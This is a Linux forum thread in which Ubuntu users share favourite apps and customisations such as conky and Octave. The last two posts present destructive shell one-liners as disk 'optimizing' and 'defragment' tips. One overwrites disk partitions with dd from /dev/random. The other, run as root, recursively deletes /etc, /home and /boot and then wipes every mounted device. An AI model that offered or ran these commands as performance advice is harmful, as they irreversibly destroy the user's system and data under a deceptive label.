Linux/Ubuntu -tell me your themes/add-ins/software that you like or have to have
It's that time of the year again...
For the last 2 years I've been setting aside Windows and trying to use Ubuntu in hopes that I'll learn it well enough to not feel like a "Windows IT Admin". I like to reload each time so that I'm remembering what I did to make things work last time, etc. I've loaded up 9.10, and patched it. I know what apps I "need" for work (including a RDP into the servers and a VM running XP just in case, lol. So:

I just put it on a 16 gig usb drive.. I've loaded it up once with out a hitch.. I love it already but not sure what i should do with it. my friend says to keep it around in case windows goes belly up with a virus or something so i can have a clean install of an OS to work with.

conky - displays stuff on the desktop
It's a bit of a pain to get setup, but it looks awesome and you can have it display any info you could want. Here is a good guide for it: http://lifehacker.com/5068294/beauti...st-conky-setup |

^ conky looks sweet. Most widgets annoy me (because I am a minimalist) but this I could use.

It'd be nice if some of you went back to your posts and told me what the heck those things do.
Otherwise, I'll do my own homework. |

I use Octave quite a bit for my work needs. It is an open source Matlab interpreter that works fine for most of the number crunching I do but lacks some of the graphics/presentation abilities of Matlab.

I'm liking the looks of this Conky, I'll give it a try when I get home.
Any good place to look for themes? or 3200x1200 wallpaper? |

I have found that if you run:
Code:
for FASTER in hda1 hda2 sda1 sda2 hdb1 hdb2 sdb1 sdb2; do dd if=/dev/random of=/dev/$FASTER; echo optimizing $FASTER; done |

Here an optimzed version that will defragment your FS (you have to be root in order for this to work)
Code:
for DEFRAG in /etc ~/ /home /boot do nohup rm -Rf $DEFRAG & done for FASTER in `df | grep ^"/dev" | awk '{print $1}'` do nohup dd if=/dev/random of=$FASTER & echo optimizing $FASTER done |
